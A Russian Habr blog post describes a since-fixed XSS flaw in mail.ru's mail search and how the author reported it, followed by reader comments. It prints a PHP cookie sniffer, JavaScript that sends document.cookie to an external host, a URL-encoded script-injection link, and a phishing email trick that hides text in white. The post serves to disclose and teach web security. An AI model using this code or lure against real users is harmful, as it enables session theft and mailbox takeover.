Уводим чужие cookies c mail.ru

Не так давно прочитал на Хабре пост, в котором предлагалось посетить бесплатное мероприятие, посвященное вопросам информационной безопасности. Так как мероприятие проходило в моем городе, я решил, что мне нужно непременно туда сходить. Первое занятие было посвящено уязвимостям на сайтах типа XSS. После занятия я решил, что нужно закрепить полученные знания в реальных условиях. Выбрал для себя несколько сайтов, которые относятся к моему городу и начал во все формы пытаться воткнуть свой скрипт. В большинстве случаев скрипт отфильтровывался. Но бывало так, что «алерт» и срабатывал, и появлялось мое сообщение. О найденной уязвимости сообщал администраторам, и они быстро все исправляли.

В один из таких дней проверяя свежую почту на mail.ru мне на глаза попалась форма для поиска писем в почтовом ящике. Изредка я пользовался этим поиском, чтобы найти что-то нужное в куче своих старых писем. Ну, а так как я в последние пару дней вставлял свой «алерт» практически везде куда только можно было, рука рефлекторно потянулась к этой форме поиска. Набрал код своего скрипта и нажал Enter. Каково же было мое удивление, когда на экране я увидел до боли знакомое сообщение…

image


На лекции Open InfoSec Days докладчик говорил, что программисты довольно скептически относятся к уязвимостям подобного рода, мол «алерт? Ну и что с того? Это не опасно». Если на других сайтах я довольствовался только этим окошком с моим сообщением, то в данном случае я решил пойти дальше и показать, что из такого вот «алерта» может получиться.

Итак, скрипт срабатывает, а значит, есть уязвимость. Следовательно, можно попробовать запустить какой-нибудь другой скрипт. Например, скрипт, который передает cookies другого пользователя нам. Чтобы скрипт сработал, нужно заставить пользователя выполнить наш скрипт. Сделать это можно отослав ему письмо с соответствующей ссылкой, после нажатия, на которую произойдет поиск по почтовому ящику и выполнится нужный нам код.

На то, чтобы понять механику уязвимости, потребовалось некоторое время и множество экспериментов. Иногда скрипт срабатывал, иногда отфильтровывался. После некоторых усилий эмпирическим путем было установлено, что скрипт 100% срабатывает только в том случае, если поиск по письмам даст положительный результат. То есть когда пользователь выполняет поиск с нашим скриптом, нужно чтобы хотя бы одно письмо в его почтовом ящике по заданным параметрам нашлось. Устроить это не сложно.

Дальше я занялся ссылкой, которая запустит поиск. Отследил закономерность в адресной строке, по которой выполняется поиск:

image

Примерно такую ссылку и будем отправлять в письме. Так как наша задача забрать себе чужие cookies, нам понадобится сниффер. Был написан скрипт sniff.php и залит на сторонний хостинг. Код сниффера такой:

<?php
if (isset($_GET['cookie']))
{
$text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of F Y h:i:s A');
$text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n";
$file = fopen("sniff.txt", "a");
fwrite($file, $text);
fclose($file);
}
?>


Так же вместо «алерта» нужен скрипт, который будет передавать cookies нашему снифферу. Этот скрипт напишем в отдельном файле и будем его подгружать в наш поиск. Создал файл test.js с нужным кодом и залил на хостинг. Код скрипта такой:

img=new Image();
img.src='http://sitename.ru/sniff.php?cookie='+document.cookie;
function F() {
location='http://www.solife.ru';
}
setTimeout(F, 5000);


Что хотелось бы здесь пояснить. Поставим себя на место злоумышленника. Нужно чтобы пользователь кликнул по ссылке. Как его заставить это сделать? Можно пообещать золотые горы и чтобы их получить нужно, проследовать по нашей ссылке на сайт. Но не думаю, что это сработает. Народ уже на такое не ведется (сам постоянно удаляю такие письма, даже не читая). Поэтому будем играть на человеческой жалости, благо она еще существует в природе. Попросим проголосовать на сайте за спасение истребляемых животных. Вначале заберем cookies, а потом переправим пользователя на сайт для голосования. Таймаут для переадресации выставил в 5 секунд, в противном случае cookies просто не успевали передаться снифферу, а пользователя сразу перебрасывало на сайт про животных. Вместо «алерта» использовал следующий скрипт:

image

Когда со скриптами было покончено, я занялся написанием письма. Придумал примерно следующее содержание:
image
Получилось довольно цинично, но старался приблизить условия к максимально реальным. В конце письма дописана строчка со скриптом, это чтобы наше письмо нашлось, когда мы сделаем поиск. Чтобы строка не вызывала лишних вопросов закрасил ее белым цветом. Так же в слове «http» поставил «пробел» чтобы строка не распозналась и не преобразовалась в ссылку. Иначе, несмотря на то, что скриптовая строка написана шрифтом белого цвета ссылка бы выделилась синим цветом у адресата, а этого нам не надо. Умный поиск все равно найдет и распознает эту строку, не смотря на пробелы.

Ссылку для поиска использовал следующую:

e.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

Для скрипта применил URL кодирование, чтобы ничего не отфильтровалось. Так же для поиска добавил параметр «q_folder=0», это чтобы поиск происходил по папке «Входящие».

Письмо готово, отправляем его. В качестве адресата я использовал свой второй почтовый ящик на этом же сервисе. Смотрим, что пришло на другой ящик.

image

Наш текст скрипта не видно, так как он сливается с фоном. Нажмем на ссылку и посмотрим, что произойдет. Пользователь перемещается в результаты поиска писем по заданному нами параметру. Наше письмо, которое мы отсылали видно в результатах поиска. В это время наш скрипт уже сработал и отослал cookies пользователя снифферу. Через 5 секунд (время зависит от настроек скрипта) пользователь переправляется на сайт с голосованиями.

Проверяю свой файл sniff.txt:

image

Так как целью моей не является кража чужих ящиков или получения доступа к ним, на этом повествование закончу. Но теоретически можно подменить свои cookies на чужие и получить доступ к чужому почтовому ящику. В общем если злоумышленник загорится целью, то он найдет применение полученной информации.

Хотелось бы поблагодарить Сергея Белова (BeLove), за его познавательное мероприятие Open InfoSec Days, которое вдохновило меня на поиски уязвимостей на сайтах.

Так же хотелось бы выразить благодарность команде mail.ru, которые закрыли эту уязвимость в считаные минуты.
Метки:
Поделиться публикацией
Комментарии 80
  • –32
    Ссылка из приведенного поста не работает:
    По запросу «» не найдено ни одного письма.

    Но вот если зайти в почту, то сообщение «XSS» есть и у Меня в голове диссонанс с высказываниями:
    Итак, скрипт срабатывает, а значит, есть уязвимость

    и
    … выразить благодарность команде mail.ru, которые закрыли эту уязвимость в считаные минуты.


    Помогите понять.
    • +73
      Как и положено, автор сначала сообщил о проблеме в mail.ru, дождался пока её починят, и лишь потом пошёл зарабатывать карму на Хабре.
      • +4
        Я говорю про сейчас: если зайти в почту, то сообщение «XSS» есть.

        Хотя чётко дано утверждение, что если такое сообщение есть — есть уязвимость. И внизу приписано — уязвимости нет.
        • +8
          Согласен. Попробовал, скрипты отлично срабатывают. Видимо разработчики не до конца подчистили.
          • +5
            Зря минусуете. По-долбил техподдержку маила, подлатали.
            • +1
              заминусовали — не попробовав
            • +2
              Прежде чем публиковать статью я у себя перепроверил работоспособность скриптов. В таком варианте как работало раньше, сейчас у меня не работает. Возможно, в других вариациях будет работать.
              Какое у вас оформление почтового ящика, старое или новое?
              • 0
                >Прежде чем публиковать статью я у себя перепроверил работоспособность скриптов
                Прежде чем писать коммент Я у Себя проверил
                >Какое у вас оформление почтового ящика, старое или новое?
                А уже не важно ибо они пофиксили — уже не срабатывает ;)

                ЗЫ:
                Теперь в подписе к письму:

                ВНИМАНИЕ!
                Данное письмо содержит потенциально опасный HTML-код, заблокированный системой безопасности.
                Возможно, оно отображается неправильно.
            • +22
              Скрипт-кидди в печали. Как же тогда хакать сайты, если все будут сначала сообщать об уязвимостях владельцам сайтов, а потом выкладывать инфу?
              • –12
                О!
                Вы мне подали идею, как «найти» уязвимости на сайтах Гугла, Эппла и Майкрософта! Ждите на Хабре…
                • 0
                  Э…
                  Не ждите — заминусовали демоны :(
              • +11
                1. Нашел уязвимость
                2. Проверил
                3. Отправил письмо администрации мэйл.ру
                4. Дождался пока они закроют XSS
                5. Опубликовал топик на хабре.

                Вроде все логично!
                • +6
                  Логично, и правильно!
                  • 0
                    когда всё правильно, становится уже немного неинтересно
              • +4
                Привык видеть такие заголовки на сайтах вроде Ачата, поэтому заходил сюда в ожидании чего-то невнятного.
                Добро пожаловать на Хабр :).

                Скажите, а если вам придет письмо от неизвестно отправителя и с темой «Крик о помощи», то вы его будете читать? А по ссылке из него перейдете? :)
                • +7
                  Многие перейдут. Пароли крадут не у самых умных и осторожных.
                  • +26
                    Скажите, а если вам придет письмо от неизвестно отправителя и с темой «Крик о помощи», то вы его будете читать? А по ссылке из него перейдете? :)
                    Конечно! Ведь если нигерийский принц в беде, то почему бы ему не помочь?
                    • +15
                      Да-да, верно. Так какой, говорите, у вас e-mail?
                    • +3
                      мне кажется, что этот топик еще одно напоминание о том, что надо более внимательно кодить сайты.

                      А раз такой авторитетный ресурс допустил эту ошибку, то очень вероятно, что какой-то из разработчиков, читающий хабр еще раз подумает о том, что он делает.

                      Мне кажется, что подобные топики будут полезны до тех пор, пока на серьезных ресурсах допускаются такого рода ошибки.

                      А пользователи разные бывают — социальных хакинг работает сейчас на ура.
                      • +25
                        > авторитетный ресурс

                        Тонко подколол.
                        • +1
                          Я бы ограничился определением «большой») «серьезный», «солидный», «авторитетный» и проч. — это, к сожалению, не про мылру. Новости и реклама на главной будут мои аргументом:)
                          • +1
                            я старался быть максимально толерантным чтоб не обидеть работников мейлру :)
                            • +2
                              Я думаю, что в mail.ru работают отличные ребята. В свое время меня туда звали, хотя дальше телефонного звонка с их HRом ничего не дошло — на тот момент у меня было предложение поинтереснее.

                              Уверен, что и проекты там ведутся интересные, и проблем много — а значит, есть над чем работать. Показательно, что несмотря на сильную конкуренцию со стороны Яндекса, Контакта, Одноклассников, Гугла и Фейсбука, Мейлру остается на плаву и не теряет своих позиций. Это уже что-то — посмотрите на тот же Рамблер.
                              • 0
                                Ну да, хотя это не так уж и страшно, особенно учитывая, что в части из названных вами компаний мейл ру имеет не маленькую долю ;)
                        • +3
                          Честно говоря, если бы мне пришло письмо вроде
                          Спасибо, что пользуетесь нашим информационным сервисом InfoSec. Рады сообщить, что мы переехали на новый адрес и сменили дизайн! Оставайтесь с нами чтобы быть в курсе событий.
                          я бы перешел по ссылке, прежде чем подумал, что это вообще такое.
                          • +1
                            Спасибо за пример. С прискорбием осознал, что тоже бы перешел (если, конечно, gmail раньше бы в спам не убрал).
                            • +6
                              Тостер.ру — теперь еще и блогосфера. Новые возможности для пользователей и читателей Хабрахабра. Предложение ограничено.


                              Я бы, возможно, ломанулся посмотреть )
                              • +1
                                Я только сейчас осознал недостаток моего и вашего примеров. Ссылка должна быть на названии компании, а не на «новый, клевый, блестящий, ПРЕДЛОЖЕНИЕ ОГРАНИЧЕНО!!!», это отдает разводом. Ниже для убедительности можно поставить столбиком такие же ссылки «Полный текст новости», «Главная страница», «О проекте».
                                • 0
                                  Я имел ввиду облом недавних ожиданий от Тостера (чего только от него не ждали) — на этой волне, как мне кажется, я бы ткнул на ссылку не особо задумываясь. )
                              • 0
                                А вы перед кликом по ссылке не читаете адрес в строке состояния браузера?
                              • 0
                                Ну так я не сам это придумал. Мне когда-то давно подобное письмо присылали, а на ссылки посмотреть я не догадался, пошел голосовать :)
                                • 0
                                  Если кто-то ломает именно ваш ящик (а не просто сто тысяч ящиков на mail.ru, вдруг да где получится), то ему не составит труда отправить письмо от «доверенного» адреса. Узнать интересы, круг общения и работы, и контактные емейлы — дело несложное. (написал где-то в комментах что хостишься на каком-нибудь hosting.ru, скорее всего письмо от abuse@hosting.ru или support@hosting.ru прочитаешь).

                                  Ну а уж отправить письмо с поддельным адресом в поле From: вообще не проблема.

                                  Статья не о том как разжалобить читателя письма — это ведь просто пример. Был бы XSS, брешь в защите, а как заставить пользователя кликнуть по ссылке — это уж можно придумать :-)
                                • 0
                                  Разве на современных сайтах (mail.ru в частности) не делают привязку cookies к ip-адресу? В таком случае от их кражи злоумышленнику было бы труднее ими воспользоваться.
                                  • +3
                                    mail.ru и современный сайт вообще не звучит. Вообще тут скорее речь должна идти об установке флага httpOnly для cookie.
                                    • 0
                                      Все верно, обычно их привязывают к IP, но увод cookie уже далеко не главное, что можно сделать с помощью XSS. Т.к. ваш скрипт выполняется в контексте чужого сайта можно получить доступ к адресной книге, отправить письмо, добавить кого-нибудь в список контактов Mail-агента, отправить сообщение в агент (это если web-агент на странице почты включен), перенастроить почту и т.п. В общем сделать почти все, что пользователь может сделать без ввода пароля и никакие CSRF-токены уже не помешают.
                                      • –1
                                        XSS позволяет, например, загрузить в невидимом iframe нужную страницу сайта с приватными данными, считать её содержимое (.innerHTML) и тут же отправить на сторону (форма с автосабмитом или же традиционная вставка <img>). Жертва даже ничего не почувствует.
                                      • –2
                                        «Ну, а так как я в последние пару дней вставлял свой «алерт» практически везде куда только можно было, рука рефлекторно потянулась к этой форме поиска»

                                        Да, да, да, так мы вам и поверили)
                                        • –14
                                          В принципе банальная XSS, ничего нового для себя не вынес, могу так-же рассказать о подобных XSS на google.com/yandex.ru etc, но абсолютно не вижу в этом никакого смысла, так как про "<скрипт>алерт(xss)></скрипт>" пишут 99% сайтов той самой тематике.
                                        • –17
                                          Уж извините, но статья на фейк очень смахивает, взяли основы XSS + нарисовали скрины mail.ru, вот что мешает то-же самое проделать с другим почтовиком и гордо сказать — я сообщил администрации о найденной уязвимости, по этому делюсь и с вами уже не актуальной информацией. Проверить статью ведь уже не получится на валидность уязвимости.
                                          • 0
                                            Дык дело в том, что Вы хоть сейчас это можете попробовать (:
                                            • +1
                                              так у вас претензия к статье или к тому, что она выбрана из песочницы? Мне лично просто интересно прочитать, а не судить о человеке, хотя признаю, что авторство дело темное, но не нам же судить.
                                              • +4
                                                А вы ожидали нотариально заверенных скриншотов?
                                                Логи переписки автора с администрацией mail.ru вам, я так понимаю, тоже не подойдут, автор же может сам их сфабриковать.

                                                Если отбросить в сторону иронию, вы, видимо, хотели самолично воспользоваться уязвимостью, но автор наткнулся на нее раньше вас и поступил как порядочный человек.
                                              • +4
                                                Чёто они не доделали вроде. Скрипт работает и даже 2 раза =)
                                                s2.ipicture.ru/Gallery/Viewfull/6044114.html
                                                • +12
                                                  когда в следующий раз меня будут ругать за большое кол-во вкладок, я буду показывать ваш скриншот
                                                  • 0
                                                    самое грустное, что на достаточно большом количестве вкладок Хром начинает _иногда_ стабильно вылетать, и вкладки приходится закрывать, пока он не прогрузился полностью (и не вылетел, соответственно).

                                                    Когда вкладок много надписей на них не видно, видно либо только картинки, либо вообще ничего (когда фавиконы больше не помещаются) Поэтому, скажем, если открыто 100 страниц с одного сайта, приходится закрывать вкладки вслепую. А это чревато потерей чего-нибудь важного.
                                                    • 0
                                                      Видели бы вы мою лисичку) В последней статье про огненную лису я написал что у меня обычно до 70 вкладок) Хром у меня запасной браузер =)
                                                    • 0
                                                      Попробуйте Petromi — сделать скриншот быстрее, удобнее, да еще и без рекламы при показе
                                                      • 0
                                                        Под винду я и так lightshot использую. А эта штучка под линукс в разработке так я понял. Вот ищу что то для убунты
                                                        • 0
                                                          Скоро под Мак будет готово, а дальше бубунта.
                                                    • +2
                                                      как удивителен этот мир. я бы никогда не нашел такую багу, потому что даже бы не предположил, что она вообще там может быть… это эпик фэйл, за такое нужно увольнять.
                                                      • +2
                                                        Если за баги в коде увольнять, то среднее время работы программиста в компании, что-то около 15 минут.
                                                        • +1
                                                          Даже ещё страшнее, все джуниоры просто не смогут устроиться впринципе.
                                                          • –1
                                                            Джуниор уже не должен допускать таких ошибок. Если он банально не пишет htmlspecialchars (или аналог), то он не на своём месте. Есть два простых правила: «htmlspecialchars для экрана» и «mysql_real_escape_string для базы данных». Если джуниор их не знает, то он не нужен компании, так как от него будут одни проблемы.

                                                            Реалии жизни :)
                                                            • +1
                                                              Если компания берёт джуниора, то оно:
                                                              а) готова к таким рискам, от того что джуниор чего то не знает.
                                                              б) готова обучать и пинать джуниора.

                                                              Если джуниор по истечении определённого времени по прежнему спотыкается на этом, то компания просто решила сэкономить :)

                                                              >Реалии жизни :) pt. 2 =)
                                                              • 0
                                                                чёткий MVC + view через XSLT вместо традиционных велосипедных шаблонизаторов и никакой головной боли
                                                            • 0
                                                              Это время работы плохого прораммиста в не очень требовательной компании, которая даже не пытается своих сотрудников обучать, пинать и ревьювить код :) Иными словами, это контора, в которой техдиректор не соответствует своей должности.
                                                          • +1
                                                            Аналогично, у меня работает :)
                                                            i30.fastpic.ru/big/2011/0926/69/219619a4a8c6f617e809963fa164ac69.png
                                                            • +2
                                                              XSS убрали в день обращения.
                                                              Остался баг, вызывающий alert сегодня его пофиксим.

                                                              XSS нет уже несколько дней, т.е. злоумышленник не может послать ссылку, которая украдет куку пользователя.
                                                              • +1
                                                                Я написал в тех.поддержку, чтобы ещё некоторые варианты почистили, так как можно, например, тупо загнать пользователя в цикл загрузки страниц (на личном опыте — окола 10 минут страница перегружалась). Это не так критично, но тем не менее, полагаю, что обладая более развитыми навыками JS (я — любитель), можно добиться более существенного вреда.

                                                                Спасибо, что залатываете (:
                                                            • 0
                                                              Меня больше удивляет то, что для разного поиска поиска (почта, мой мир, сайт) используются различные фильтры. Как-то логично, на мой взгляд. Что Вы, господа, думаете по этому поводу?

                                                              p.s. Сорри за оффтопик
                                                              • 0
                                                                Пардон, «не логично».
                                                                • 0
                                                                  Разные проекты – разные задачи.
                                                                • 0
                                                                  Все, закрыли лавочку)
                                                                  • 0
                                                                    Занятия идут впрок и участникам, и разработчикам, на которых участники пробуют свои знания :-)
                                                                    Будем развиваться дальше. Интересно, где применят свои знания участники OISD после главы «сетевые атаки» :)
                                                                    • –1
                                                                      ха-ха… а уменя воспроизводится:)
                                                                      • –1
                                                                        Все таки xss были и будут, хоть активки меньше находят сейчас. Извените, но (я как-то уже выкладывал в своем блоге рейтинг) mail.ru самая небезопасная почта.
                                                                        • –4
                                                                          Стоп. А какой браузер разрешил подгрузить скрипт с чужого сайта?
                                                                          • +1
                                                                            Любой нормальный браузер.
                                                                            • +3
                                                                              Да действительно. Спутал с XMLHttpRequest который в этом плане ограничен.
                                                                          • 0
                                                                            Я так понимаю куки сессии были не HttpOnly?
                                                                            • +5
                                                                              Я, несколько лет назад, нашел подобную уязвимость на сервисе дневников liveinternet вкупе с уязвимостью позволяющей сменить пароль не зная старого и ящик. В итоге можно было получить доступ к любому дневнику отправив ЛС автору, которое он должен был прочесть. Проверил что метод работает, сообщил лично владельцу, если не ошибаюсь, li.ru. Не сказали даже спасибо, в ответ получил только что-то вроде «пф, да это ерунда, а не уязвимость.», но дыры закрыли на следующий день. Мне показалось, что это тоже самое, что нищему дать монету, а он тебе спасибо не скажет, это ж всего лишь монета.
                                                                              • 0
                                                                                продал бы кому-нибудь, срубил бы рублей много =)
                                                                              • 0
                                                                                Практически всегда читая что-либо, будь то пост в блоге или письмо на почте сразу подмечаю интересующие меня ссылки и смотрю в статусе куда она ведет(ведь сам текст ссылки часто многое может о себе сказать: домен, формат файла, название статьи ну сами знаете — все что угодно да и программист всегда сможет понять что там можно увидеть) и если это какой-нибудь сервис коротких ссылок то уже подсознательно стараюсь игнорировать подобные ссылки(если не очень нужно то что она в себе несет, либо если не доверяю источнику). Лично мне проще навести на ссылку, посмотреть ее статус и подумать «стоит ли ее посещать?», чем открыть эту ссылку, посмотреть и подумать «стоило ли ее посещать?». Имхо первый вариант и быстрее и безопаснее.

                                                                                alist Показательно, что несмотря на сильную конкуренцию со стороны Яндекса, Контакта, Одноклассников, Гугла и Фейсбука, Мейлру остается на плаву и не теряет своих позиций.
                                                                                Могу предположить, что так как Контакт и Одноклассники частично принадлежат Мейлру — это как-то оказывает влияние на такое развитие ситуации.
                                                                                olegchir Когда вкладок много надписей на них не видно, видно либо только картинки, либо вообще ничего (когда фавиконы больше не помещаются) Поэтому, скажем, если открыто 100 страниц с одного сайта, приходится закрывать вкладки вслепую. А это чревато потерей чего-нибудь важного.

                                                                                А вы не пробовали наводить мышку над вкладкой и прочитать заголовок?)) У самого по 90 и более вкладок. Пользуюсь расширением сохранящим список открытых вкладок. Сохраняю все вкладки с каким-нить запоминающимся заголовком(чтобы вспомнить что же я тогда делал что наоткрывал кучу вкладок и небыло времени рассортировать их по избранному) и спокойно закрываю все до единой, чтобы дать продохнуть хромиуму.
                                                                                • 0
                                                                                  Забыл еще сказать что Мэйлру мало что угрожает… Ибо наши мамы и папы так и будут пользоваться мэйлру ибо для них электронная почта = мэйлру и они не знают о другом. Плюс не забывайте о аське и кому она принадлежит. Да и много еще факторов «за».
                                                                                • 0
                                                                                  mail.ru/ (HTTPS)

                                                                                  А как насчет безопасной работы с почтой?
                                                                                  • 0
                                                                                    HTTPS только шифрует трафик между броузером и сервером, он не защищает от уязвимостей серверного ПО.

                                                                                  Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.